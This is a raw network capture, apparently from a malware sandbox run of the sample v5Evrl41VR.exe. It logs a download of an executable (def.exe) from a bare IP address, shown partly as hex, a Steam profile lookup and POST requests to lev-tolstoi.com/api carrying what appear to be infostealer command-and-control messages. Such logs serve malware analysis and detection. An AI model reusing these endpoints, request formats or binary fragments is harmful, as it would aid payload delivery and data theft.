Dec 28, 2024 09:48:53.312138081 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 28, 2024 09:48:54.643058062 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 28 Dec 2024 08:48:53 GMT Content-Type: application/octet-stream Content-Length: 2787840 Last-Modified: Sat, 28 Dec 2024 08:16:29 GMT Connection: keep-alive ETag: "676fb3dd-2a8a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 a7 3a 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +:+`Ui`D @ @ @.rsrcD``@.idata f@xgbpctqr)h@vgxupmxs d@.taggant@"h*@
Dec 28, 2024 09:48:54.643083096 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 28, 2024 09:48:54.643105030 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 28, 2024 09:48:54.643182993 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 28, 2024 09:48:54.643197060 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 28, 2024 09:48:54.643209934 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 28, 2024 09:48:54.643223047 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 28, 2024 09:48:54.643385887 CET	552	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 28, 2024 09:48:54.643400908 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 28, 2024 09:48:54.643445015 CET	1236	IN	Data Raw: 21 21 aa fd 1f 1f 1f 74 24 0f 1d 8f d6 0e 6d 8d f7 fe 6c fd 21 21 aa fd 1f 1f 1f 28 24 0f 1d 8f d6 0e 6d 8d f7 fe 6c fd 21 21 8a f8 1f 1f 1f ac 22 0f 1d 8f d6 0e 6d 8d f7 fe 6c fd 21 21 8a f8 1f 1f 1f 66 23 0f 1d 8f 56 12 6d 8d f7 fe 6c fd 21 21 Data Ascii: !!t$ml!!($ml!!"ml!!f#Vml!!#Vml!!#Vml!pIGNymmnnmmomQ@mmm%a_Um;mefg?6mOrA7w
Dec 28, 2024 09:48:54.764213085 CET	1236	IN	Data Raw: 20 0f 6d fd 1f 8f 6d 6c 00 da 71 c3 1e 1c 6d fd 1f 0f 6d 7d 20 7e 4d 68 24 45 6e ee 1f 0f 6d fd 1f 8f 6d 6c 00 f2 64 9d 1e 04 6d a5 ff 0f 6d fd 1f 7e 6d 38 23 21 6e de 1f 97 4d fd 1f 0f 6d 6c 20 5f 71 8f 1e f0 6c 1d 00 0f 6d fd 1f 7e 6d 19 18 21 Data Ascii: mmlqmm} ~Mh$Enmmldmm~m8#!nMml _qlm~m!nCNml #fl=m~m#%nNml glYm~m!n3Qm{tflmmqmmqm"mem#m em"m9rmmHfm"m:gm

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.11	49714	23.55.153.106	443	7860	C:\Users\user\Desktop\v5Evrl41VR.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-28 08:48:29 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-12-28 08:48:30 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Sat, 28 Dec 2024 08:48:30 GMT Content-Length: 35121 Connection: close Set-Cookie: sessionid=7d3cb219e08f524ee0aae6df; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2024-12-28 08:48:30 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2024-12-28 08:48:30 UTC	10097	IN	Data Raw: 2e 63 6f 6d 2f 3f 73 75 62 73 65 63 74 69 6f 6e 3d 62 72 6f 61 64 63 61 73 74 73 22 3e 0a 09 09 09 09 09 09 42 72 6f 61 64 63 61 73 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 62 6f 75 74 2f 22 3e 0a 09 09 09 09 41 62 6f 75 74 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 65 6e 2f 22 3e 0a 09 09 09 09 53 55 50 50 4f 52 54 09 Data Ascii: .com/?subsection=broadcasts">Broadcasts</a></div><a class="menuitem " href="https://store.steampowered.com/about/">About</a><a class="menuitem " href="https://help.steampowered.com/en/">SUPPORT
2024-12-28 08:48:30 UTC	10545	IN	Data Raw: 4e 49 56 45 52 53 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 70 75 62 6c 69 63 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4c 41 4e 47 55 41 47 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 65 6e 67 6c 69 73 68 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 43 4f 55 4e 54 52 59 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 55 53 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 43 4f 4d 4d 55 4e 49 54 59 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 64 6e 2e 66 61 73 74 6c 79 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 5c 2f 70 75 62 6c 69 63 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 Data Ascii: NIVERSE":"public","LANGUAGE":"english","COUNTRY":"US","MEDIA_CDN_COMMUNITY_URL":"https:\/\/cdn.fastly.steamstatic.com\/steamcommunity\/public\/","MEDIA_CDN_URL":"htt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.11	49720	104.21.66.86	443	7860	C:\Users\user\Desktop\v5Evrl41VR.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-28 08:48:32 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: lev-tolstoi.com
2024-12-28 08:48:32 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-28 08:48:32 UTC	1121	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 08:48:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=g9dp276vbueid3ad13fo58hu6h; expires=Wed, 23 Apr 2025 02:35:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7BqGaU13qg9Pav%2Fz8Ml71NzzO3w8Wjq9j44kvv8bfoc0IFMPcyJPKBy7dyt14Ebf3Lxac6KN8wTEfXW%2BYrFCW3LrXeOsmaDEYtO3WNgZDUgjm3TvnuYv5iVkdMat894gDfo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f904ab9b9240f69-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1528&min_rtt=1522&rtt_var=584&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2834&recv_bytes=906&delivery_rate=1853968&cwnd=250&unsent_bytes=0&cid=413cfe4d39dec7c3&ts=876&x=0"
2024-12-28 08:48:32 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-28 08:48:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.11	49726	104.21.66.86	443	7860	C:\Users\user\Desktop\v5Evrl41VR.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-28 08:48:34 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: lev-tolstoi.com
2024-12-28 08:48:34 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-28 08:48:35 UTC	1122	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 08:48:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0clp58gl09plo5nvgbhct3aiof; expires=Wed, 23 Apr 2025 02:35:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EBq2QxPDNbNn3G2g%2FUSxwbUwadFQRnMWvH8XASVgLXtBdPxWQdnF05IX3iwkvxlQM%2B4KcN3M2LrsUmzPg7mZk4AzABryquorJFL4f0UCRzqRyrZm5KqUHUcFhUJeprkLsDE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f904ac75dcd7c87-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1818&min_rtt=1814&rtt_var=688&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=952&delivery_rate=1580942&cwnd=209&unsent_bytes=0&cid=2546610b117b1215&ts=1092&x=0"
2024-12-28 08:48:35 UTC	247	IN	Data Raw: 34 39 31 63 0d 0a 6e 30 34 4c 6d 2b 4a 79 43 42 41 6f 73 4a 38 67 4e 41 56 37 2b 50 36 51 53 79 39 6b 39 55 6e 35 35 56 71 52 77 38 50 74 48 31 7a 6b 62 48 32 35 32 45 59 6b 4d 6c 76 56 76 52 70 41 64 77 36 64 30 72 49 71 53 30 62 50 4c 35 69 4a 4b 66 54 76 34 5a 74 79 66 71 55 6f 61 76 65 52 46 79 51 79 54 63 69 39 47 6d 39 2b 57 5a 32 51 73 6e 45 4e 41 5a 38 72 6d 49 6b 34 38 4b 69 73 6e 58 4d 2f 39 79 4a 73 38 34 63 52 62 48 46 45 33 66 70 46 55 57 51 52 6c 70 66 39 49 30 4a 47 32 57 75 63 6e 33 69 72 34 59 36 49 61 7a 33 53 4c 33 6a 77 77 41 38 6b 61 77 72 56 38 51 49 4f 4a 78 71 64 6e 50 77 74 53 77 2b 64 49 5a 47 42 4f 66 57 70 73 34 52 35 4e 50 63 73 62 2f 4b 4e 47 48 68 38 54 74 72 78 51 31 74 6b 57 64 54 63 39 54 45 4e 58 Data Ascii: 491cn04Lm+JyCBAosJ8gNAV7+P6QSy9k9Un55VqRw8PtH1zkbH252EYkMlvVvRpAdw6d0rIqS0bPL5iJKfTv4ZtyfqUoaveRFyQyTci9Gm9+WZ2QsnENAZ8rmIk48KisnXM/9yJs84cRbHFE3fpFUWQRlpf9I0JG2Wucn3ir4Y6Iaz3SL3jwwA8kawrV8QIOJxqdnPwtSw+dIZGBOfWps4R5NPcsb/KNGHh8TtrxQ1tkWdTc9TENX
2024-12-28 08:48:35 UTC	1369	IN	Data Raw: 74 64 34 71 59 51 70 34 72 53 73 6e 33 74 2b 34 6d 4a 77 75 59 63 63 4b 69 6f 4b 32 76 46 4d 55 32 51 57 6e 5a 33 79 4f 30 49 47 6c 43 4f 54 67 7a 4c 38 72 71 36 42 64 7a 6e 31 4a 57 37 32 68 78 68 73 66 55 6d 53 73 77 4a 52 66 31 6e 43 33 4e 49 35 54 67 57 44 4a 6f 72 48 4a 37 32 34 34 59 68 78 66 71 56 73 62 2f 65 42 48 57 70 67 51 74 6e 32 52 30 52 73 45 4a 65 52 38 69 52 48 43 5a 51 72 6e 49 30 79 2f 4b 75 6c 67 6e 41 34 2f 53 77 70 74 38 41 58 63 6a 49 53 6b 74 35 48 52 6d 41 56 6a 4e 37 49 61 56 4a 49 6a 6d 75 63 69 33 69 72 34 61 6d 4b 66 6a 33 32 49 32 72 78 69 77 4a 71 59 45 7a 66 2b 46 42 51 59 68 65 51 6e 2b 41 6a 51 77 43 55 49 70 43 4f 50 66 53 6c 34 63 45 39 4f 65 56 73 4d 62 6d 68 48 57 46 2b 51 4d 58 39 41 6b 6b 70 41 4e 71 62 2f 6d 6b 56 Data Ascii: td4qYQp4rSsn3t+4mJwuYccKioK2vFMU2QWnZ3yO0IGlCOTgzL8rq6Bdzn1JW72hxhsfUmSswJRf1nC3NI5TgWDJorHJ7244YhxfqVsb/eBHWpgQtn2R0RsEJeR8iRHCZQrnI0y/KulgnA4/Swpt8AXcjISkt5HRmAVjN7IaVJIjmuci3ir4amKfj32I2rxiwJqYEzf+FBQYheQn+AjQwCUIpCOPfSl4cE9OeVsMbmhHWF+QMX9AkkpANqb/mkV
2024-12-28 08:48:35 UTC	1369	IN	Data Raw: 66 48 64 72 4f 6d 75 63 38 6c 66 74 63 76 66 66 71 4b 55 6c 39 78 52 4e 7a 36 56 42 5a 34 56 34 50 63 39 53 55 4e 58 74 63 6d 6d 6f 38 2b 34 61 36 73 6a 48 4d 77 38 69 6c 6d 38 59 41 51 5a 33 64 4f 32 66 5a 42 57 32 4d 4c 6b 4a 7a 36 4c 45 77 4d 6e 57 76 56 78 7a 2f 72 34 66 6e 50 54 43 6e 32 62 6c 7a 36 6a 68 35 74 5a 41 72 4e 73 31 73 57 59 42 58 61 78 4c 49 6b 52 51 4f 53 4a 4a 71 4e 4e 76 61 72 72 59 64 7a 50 65 38 6a 62 66 6d 4d 47 47 42 2f 52 4e 62 31 53 31 31 73 48 35 71 64 2b 47 6b 44 52 70 41 7a 32 39 39 34 78 36 61 74 67 6e 4a 38 79 43 39 6e 39 34 63 47 4b 6d 30 45 79 37 31 46 57 69 64 42 32 70 44 37 4b 55 59 4d 6b 79 75 63 69 6a 33 77 70 71 4b 43 65 6a 54 7a 4b 32 33 31 69 52 31 73 63 6b 33 57 2b 46 42 54 62 68 57 57 33 4c 78 70 53 68 37 58 63 Data Ascii: fHdrOmuc8lftcvffqKUl9xRNz6VBZ4V4Pc9SUNXtcmmo8+4a6sjHMw8ilm8YAQZ3dO2fZBW2MLkJz6LEwMnWvVxz/r4fnPTCn2blz6jh5tZArNs1sWYBXaxLIkRQOSJJqNNvarrYdzPe8jbfmMGGB/RNb1S11sH5qd+GkDRpAz2994x6atgnJ8yC9n94cGKm0Ey71FWidB2pD7KUYMkyucij3wpqKCejTzK231iR1sck3W+FBTbhWW3LxpSh7Xc
2024-12-28 08:48:35 UTC	1369	IN	Data Raw: 2f 34 66 6e 50 64 44 66 76 49 6d 66 77 6a 52 5a 69 64 55 54 66 39 6b 52 64 59 42 36 63 6b 66 6f 6b 53 41 57 57 4c 35 47 56 4f 2f 69 72 72 49 55 39 63 4c 30 72 63 62 6e 59 55 45 31 2b 59 38 4c 6d 55 45 41 6e 42 74 53 46 73 69 35 42 52 73 39 72 6d 49 67 78 2f 4b 6d 70 67 48 49 36 38 79 70 76 39 49 55 66 59 47 42 43 33 50 42 4a 57 57 77 4c 6d 70 48 32 4a 55 6b 4f 6e 43 48 62 79 58 6a 30 75 65 48 58 50 51 76 77 49 32 6e 36 6c 6c 42 31 50 46 4f 53 2b 6b 34 57 50 31 6d 57 6b 76 49 6d 51 51 71 63 49 35 71 4c 4e 76 53 6b 71 49 64 31 4c 50 77 6f 59 66 69 4f 48 32 74 32 54 39 66 35 52 56 4a 68 46 74 72 53 73 69 35 56 52 73 39 72 74 4b 41 4e 73 59 43 62 7a 32 4a 77 35 47 78 75 39 63 42 49 4b 6e 35 4a 33 76 56 4e 55 47 34 56 6b 4a 58 35 4a 55 59 43 6d 79 4b 65 67 54 Data Ascii: /4fnPdDfvImfwjRZidUTf9kRdYB6ckfokSAWWL5GVO/irrIU9cL0rcbnYUE1+Y8LmUEAnBtSFsi5BRs9rmIgx/KmpgHI68ypv9IUfYGBC3PBJWWwLmpH2JUkOnCHbyXj0ueHXPQvwI2n6llB1PFOS+k4WP1mWkvImQQqcI5qLNvSkqId1LPwoYfiOH2t2T9f5RVJhFtrSsi5VRs9rtKANsYCbz2Jw5Gxu9cBIKn5J3vVNUG4VkJX5JUYCmyKegT
2024-12-28 08:48:35 UTC	1369	IN	Data Raw: 6e 58 6f 33 37 79 4a 6b 39 6f 67 59 59 33 4e 4f 31 2f 42 45 57 6d 30 59 6e 5a 4c 38 49 51 31 49 31 79 79 44 78 32 43 7a 67 4c 47 55 62 79 6a 77 44 57 54 32 77 41 38 6b 61 77 72 56 38 51 49 4f 4a 78 43 49 6d 50 38 37 52 41 47 5a 4a 4a 69 56 4f 66 36 71 73 34 68 79 4f 76 6f 67 62 2f 61 47 45 57 39 34 52 74 58 34 53 56 6c 72 57 64 54 63 39 54 45 4e 58 74 63 46 6b 4a 51 76 38 4b 2b 71 6d 57 5a 2b 34 6d 4a 77 75 59 63 63 4b 69 6f 4b 30 66 5a 4a 55 6d 63 56 6d 70 6a 2f 4b 56 38 4a 6b 43 79 53 6a 43 72 35 70 71 61 45 64 54 58 79 4b 6e 76 31 6a 67 4a 76 59 46 69 53 73 77 4a 52 66 31 6e 43 33 4d 51 75 58 52 61 55 61 61 71 52 4f 2b 57 71 72 49 4d 39 49 62 4d 31 4b 66 36 4d 55 44 49 79 54 4e 33 30 51 56 6c 6d 45 4a 61 52 39 79 42 49 42 35 45 76 6b 59 30 34 39 61 65 Data Ascii: nXo37yJk9ogYY3NO1/BEWm0YnZL8IQ1I1yyDx2CzgLGUbyjwDWT2wA8kawrV8QIOJxCImP87RAGZJJiVOf6qs4hyOvogb/aGEW94RtX4SVlrWdTc9TENXtcFkJQv8K+qmWZ+4mJwuYccKioK0fZJUmcVmpj/KV8JkCySjCr5pqaEdTXyKnv1jgJvYFiSswJRf1nC3MQuXRaUaaqRO+WqrIM9IbM1Kf6MUDIyTN30QVlmEJaR9yBIB5EvkY049ae
2024-12-28 08:48:35 UTC	1369	IN	Data Raw: 37 30 72 5a 62 6e 59 55 47 6c 31 53 64 50 33 53 31 70 6f 48 70 36 4f 2b 43 35 66 42 35 59 67 6c 6f 73 34 2f 71 79 72 6a 6e 51 7a 38 53 46 75 2f 6f 38 56 4b 6a 77 4b 31 65 55 43 44 69 63 34 6c 35 66 2b 63 68 64 47 69 47 57 43 78 7a 2f 2f 34 66 6e 50 66 54 54 34 4a 6d 54 36 6a 78 4e 34 63 30 7a 41 2f 55 39 63 64 52 4f 52 6d 66 38 6b 51 41 57 52 4c 5a 43 4c 4b 76 71 68 6f 6f 51 39 63 4c 30 72 63 62 6e 59 55 45 6c 6c 58 4e 6a 36 54 6b 42 73 47 4a 6d 4b 2f 7a 6b 4e 53 4e 63 36 6e 4a 5a 34 71 37 65 78 6d 48 6f 68 73 7a 55 70 2f 6f 78 51 4d 6a 4a 4d 32 2f 74 46 55 47 6b 4c 6e 35 72 39 4a 6b 51 50 6b 79 4f 59 68 7a 7a 33 70 71 53 4d 63 54 58 36 4c 32 62 39 69 52 35 6a 66 51 71 63 76 55 56 4f 4a 30 48 61 76 65 6b 71 51 51 76 58 4e 4e 57 65 65 50 53 74 34 64 63 39 Data Ascii: 70rZbnYUGl1SdP3S1poHp6O+C5fB5Yglos4/qyrjnQz8SFu/o8VKjwK1eUCDic4l5f+chdGiGWCxz//4fnPfTT4JmT6jxN4c0zA/U9cdRORmf8kQAWRLZCLKvqhooQ9cL0rcbnYUEllXNj6TkBsGJmK/zkNSNc6nJZ4q7exmHohszUp/oxQMjJM2/tFUGkLn5r9JkQPkyOYhzz3pqSMcTX6L2b9iR5jfQqcvUVOJ0HavekqQQvXNNWeePSt4dc9
2024-12-28 08:48:35 UTC	1369	IN	Data Raw: 6e 79 6c 68 56 74 5a 41 6a 6e 2f 6b 78 59 59 41 2f 61 67 38 31 6e 44 51 6d 4e 61 38 4f 2b 49 62 4f 6d 72 63 38 6c 66 75 67 72 61 66 36 61 42 6d 31 2b 57 39 6e 77 54 6e 52 6f 48 6f 79 66 2f 53 70 63 44 39 73 67 6c 73 64 32 73 36 61 35 7a 79 56 2b 30 69 74 2f 2b 71 38 54 65 33 73 4b 6e 4c 31 46 51 43 64 42 32 71 4b 79 4f 30 34 57 6c 43 53 4b 75 58 69 72 75 4a 2f 50 64 69 6a 36 50 47 72 76 69 78 31 6d 59 33 53 53 70 52 59 45 4e 55 76 49 7a 75 31 70 55 6a 6e 5a 61 35 72 48 59 4d 71 34 34 5a 6b 39 5a 71 39 69 4b 65 76 41 53 43 6f 31 53 63 44 76 52 46 56 78 47 74 32 69 7a 41 35 62 44 4a 41 37 6e 4a 41 33 73 2b 2f 68 67 44 31 6d 78 47 78 67 2f 70 73 42 66 48 39 61 31 62 31 39 47 43 63 42 32 73 53 79 48 45 34 49 6d 53 79 4e 6c 6e 58 55 74 36 75 49 62 54 6e 71 49 Data Ascii: nylhVtZAjn/kxYYA/ag81nDQmNa8O+IbOmrc8lfugraf6aBm1+W9nwTnRoHoyf/SpcD9sglsd2s6a5zyV+0it/+q8Te3sKnL1FQCdB2qKyO04WlCSKuXiruJ/Pdij6PGrvix1mY3SSpRYENUvIzu1pUjnZa5rHYMq44Zk9Zq9iKevASCo1ScDvRFVxGt2izA5bDJA7nJA3s+/hgD1mxGxg/psBfH9a1b19GCcB2sSyHE4ImSyNlnXUt6uIbTnqI
